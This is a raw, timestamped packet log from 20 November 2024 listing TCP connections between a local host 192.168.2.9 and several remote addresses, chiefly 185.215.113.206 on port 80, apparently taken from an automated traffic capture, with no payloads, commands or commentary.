Nov 20, 2024 16:50:55.774960041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.775016069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.775022030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.775136948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.776087999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.776134968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.776165009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.776870012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.776923895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.776958942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.777530909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.777666092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.777678013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.778579950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.778630018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.778661013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.779459953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.779565096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.779613972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.780388117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.780479908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.781295061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.781308889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.781407118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.781517982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.782233000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.782282114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.782284975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.782519102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.783140898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.783231974 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.783253908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.783337116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.784045935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.784181118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.784204960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.784223080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.785024881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.785075903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.785172939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.785454988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.785929918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.785973072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.786107063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.786144018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.786923885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.786936045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.786977053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.786992073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.787801027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.787909031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.787975073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.788661003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.788796902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.788826942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.789057016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.789203882 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.789227009 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.789280891 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.789313078 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.789330006 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.789545059 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.789612055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.789659977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.789707899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.790589094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.790625095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.790631056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.790848017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.791608095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.791657925 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.791727066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.805665016 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.805685997 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.805743933 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.805778980 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.805795908 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.805860996 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.821063995 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.821089029 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.821139097 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.821172953 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.821193933 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.821238995 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.835233927 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.835254908 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.835347891 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.835380077 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.835398912 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.835567951 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.871139050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.940372944 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.940395117 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.940490961 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.940515041 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.941521883 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.950965881 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.950984955 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.951060057 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.951070070 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.951111078 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.962841034 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.962861061 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.962954044 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.962961912 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.963006973 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.973661900 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.973694086 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.973762989 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.973771095 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.973819971 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.981403112 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.981431007 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.981498957 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.981507063 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.981520891 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.981549025 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.981568098 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.983359098 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.983374119 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.990936995 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.190254927 CET	49800	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.190301895 CET	443	49800	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:56.190371990 CET	49800	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.191701889 CET	49800	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.191721916 CET	443	49800	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:56.316972971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.316988945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.317039013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.317089081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.317413092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.317488909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.317549944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.318245888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.318299055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.318347931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.319153070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.319224119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.319293976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.319344997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.320090055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.320415974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.320489883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.320983887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.321069002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.321183920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.321229935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.321887016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.322024107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.322171926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.322213888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.322833061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.322900057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.323045015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.323088884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.323766947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.323890924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.323940992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.324681997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.325010061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.325083017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.325587034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.325795889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.325844049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.326114893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.326535940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.326606989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.327061892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.327325106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.327403069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.327486992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.327528954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.328421116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.328481913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.328641891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.328682899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.329452991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.329507113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.329792976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.329838037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.330194950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.330492973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.330643892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.331216097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.331316948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.331372976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.332088947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.332220078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.332317114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.332406044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.332952976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.332998991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.333117962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.333157063 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.333889008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.333939075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.333980083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.334527969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.334819078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.334872007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.334960938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.335067034 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.335726976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.335776091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.335946083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.335984945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.336648941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.336704016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.336817980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.336921930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.337563038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.337611914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.337841034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.337915897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.338483095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.338735104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.338782072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.339390993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.339442968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.339641094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.339715958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.340287924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.340482950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.340527058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.341278076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.341339111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.341428041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.342159033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.342219114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.342389107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.342430115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.343055010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.343092918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.343302011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.343482018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.344012022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.344052076 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.344099998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.344137907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.344891071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.344932079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.344984055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.345802069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.345860004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.345860004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.345890999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.346733093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.346790075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.346791983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.346873045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.347668886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.347712994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.347750902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.348015070 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.348583937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.348628998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.348663092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.349534988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.349632978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.349967003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.350574017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.350617886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.351044893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.351547003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.351939917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.352030993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.352073908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.352233887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.352356911 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.352399111 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.353163004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.353218079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.353272915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.354144096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.354156017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.354203939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.355129004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.355364084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.355453014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.355504036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.355967999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.356019020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.356095076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.356133938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.357049942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.357062101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.357101917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.357129097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.357842922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.357892990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.357898951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.357928038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.358745098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.358803988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.358827114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.359121084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.359719038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.359780073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.359843969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.360572100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.360606909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.360626936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.360656023 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.361494064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.361560106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.361610889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.362409115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.362482071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.362545967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.363370895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.363428116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.363766909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.363830090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.364255905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.364312887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.364361048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.365153074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.365264893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.365298986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.365326881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.366034985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.366090059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.366128922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.366219044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.366955042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.367016077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.367048025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.367063999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.508383036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.508424997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.508452892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.508501053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.508703947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.508898020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.508940935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.509006023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.509109020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.509814024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.509869099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.510029078 CET	80	49752	185.215.113.206	192.168.2.9
